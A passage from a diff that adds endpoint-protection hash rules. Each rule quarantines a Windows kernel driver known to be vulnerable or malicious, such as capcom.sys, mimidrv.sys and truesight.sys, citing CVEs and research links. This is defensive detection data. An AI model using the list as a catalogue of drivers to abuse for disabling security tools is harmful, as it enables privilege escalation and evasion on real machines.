+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622650Z",
+  "creation_date": "2026-03-23T11:45:29.622652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83f7be0a13c1fccf024c31da5c68c0ea1decf4f48fc39d6e4fd324bbe789ae8a",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4859bef-e5d8-5b43-938e-3a497e89f50a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973466Z",
+  "creation_date": "2026-03-23T11:45:29.973468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12eda8b65ed8c1d80464a0c535ea099dffdb4981c134294cb0fa424efc85ee56",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a494d902-5e8c-5314-b400-2407d8cb0c45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967362Z",
+  "creation_date": "2026-03-23T11:45:29.967364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967370Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c856c3c315c0f213684045da3203692c07c3da5df755155fd8b128fb447c437",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4968b88-9f68-5824-8cf3-da9c5c6d8de1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479757Z",
+  "creation_date": "2026-03-23T11:45:30.479759Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479765Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b188ae51ec3be082e4d08f7483777ec5e66d30e393a4e9b5b9dc9af93d1f09b",
+  "comment": "Vulnerable Kernel Driver (aka capcom.sys) [https://www.loldrivers.io/drivers/b51c441a-12c7-407d-9517-559cc0030cf6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4991fdd-da7f-57a7-8587-6a117ad6ddfb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621669Z",
+  "creation_date": "2026-03-23T11:45:29.621670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1afa03118f87b62c59a97617e595ebb26dde8dbdd16ee47ef3ddd1097c30ef6a",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4a39d73-91cb-5e25-b342-976c11e311b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143392Z",
+  "creation_date": "2026-03-23T11:45:32.143395Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f190919f1668652249fa23d8c0455acbde9d344089fde96566239b1a18b91da2",
+  "comment": "Vulnerable Kernel Driver (aka PDFWKRNL.sys) [https://www.loldrivers.io/drivers/fded7e63-0470-40fe-97ed-aa83fd027bad/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4a92be6-a947-537e-87d0-df1ce5ca235d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828306Z",
+  "creation_date": "2026-03-23T11:45:31.828309Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828318Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1816b4e2ae32be1cbfae6b53a5aa7bab282edaf5c3fd46e463978bb8c432f29",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4b75bd6-ba75-52ce-8038-96decadd39c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614404Z",
+  "creation_date": "2026-03-23T11:45:29.614406Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614411Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ddfe4756f5db9fb319d6c6da9c41c588a729d9e7817190b027b38e9c076d219",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4b8ab98-2efa-56a4-85cb-3f2daaebfae6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472694Z",
+  "creation_date": "2026-03-23T11:45:30.472698Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d6febd54ce0c98ea3653e582f7791061923a9a4842bd4a1326564204431ca9f",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4bd89c0-e928-5b3d-ae5e-3b0c92f12db0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821244Z",
+  "creation_date": "2026-03-23T11:45:30.821248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47c490cc83a17ff36a1a92e08d63e76edffba49c9577865315a6c9be6ba80a7d",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4c0f9b6-b140-5b80-a787-c011912f0856",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469398Z",
+  "creation_date": "2026-03-23T11:45:30.469401Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469410Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "284bf9b08be5d4fd4b10fda6736cf490c66f9adace013c19be2e31cf74bfc5e9",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4c3068d-65c9-5ae3-90da-20efe06e93b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500388Z",
+  "creation_date": "2026-03-23T11:45:31.500391Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2439616f5ab33d4a8b6d09e17295a10b61f50081be7c6ea958061f849283de38",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4e09588-12f8-570f-9b86-59e51c8975ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832097Z",
+  "creation_date": "2026-03-23T11:45:30.832099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9449b1ed5585f43c4a00d876ea076d86226a5496807ef4e75c4709e4ccfc3dfb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4e4ab18-248f-5d94-becd-16aba6035928",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820425Z",
+  "creation_date": "2026-03-23T11:45:30.820427Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820433Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8fe429c46fedbab8f06e5396056adabbb84a31efef7f9523eb745fc60144db65",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4e8f9d6-5335-5fb1-acaf-1ac39320553e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458693Z",
+  "creation_date": "2026-03-23T11:45:30.458696Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cdcf71696db4031fe3e70969bbe6169744ff91eebb24d6ffb734f922a850183b",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4fd2091-4588-5078-ba6b-24bcd7fe2221",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825768Z",
+  "creation_date": "2026-03-23T11:45:31.825770Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c19b55ff88c487dd0cb2cd4087496f611c9df7287ecfeedd9137eef619725fdc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a508712e-8def-598e-8741-23b4ab40866b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614385Z",
+  "creation_date": "2026-03-23T11:45:29.614387Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614392Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "131d5490ceb9a5b2324d8e927fea5becfc633015661de2f4c2f2375a3a3b64c6",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a516abbf-f5f0-5ffc-801e-02e92abac2ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824611Z",
+  "creation_date": "2026-03-23T11:45:31.824613Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824618Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6253fa6ad371e218a9c08c42781fe95ec32be8a176a6a7231c3a1b7cd2841f6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5182727-1449-5a08-968a-d7bc504bce61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142489Z",
+  "creation_date": "2026-03-23T11:45:31.142491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43025fdd42bcc3f0dc50589aed1d8a0650515ea8150886487c7fb5b927d269cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a51a536a-3475-5b37-bd5d-765ca11efa36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497689Z",
+  "creation_date": "2026-03-23T11:45:31.497692Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497697Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23423b17aa2fed6d0c15a2def325c38c86403349d8ff0b539777c6bbcafcf865",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5367ad2-b0ee-5497-8432-fe0190503a7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819813Z",
+  "creation_date": "2026-03-23T11:45:31.819816Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819825Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63a0eb941b89c6b98885b3a2db9d6b21511c813fd065502f182e6b74d87f4b71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a547d991-c8c7-5c7f-9c2d-b2a8d85a85d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611445Z",
+  "creation_date": "2026-03-23T11:45:29.611447Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d3ed9427dcc4f79be3585d41ab9c0bb447d6a0258dd919c4d49e02dedbaa47b",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5534782-f0a0-5abb-a532-8c58c055fcb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829716Z",
+  "creation_date": "2026-03-23T11:45:30.829718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829724Z",
+  "rule_level": null,
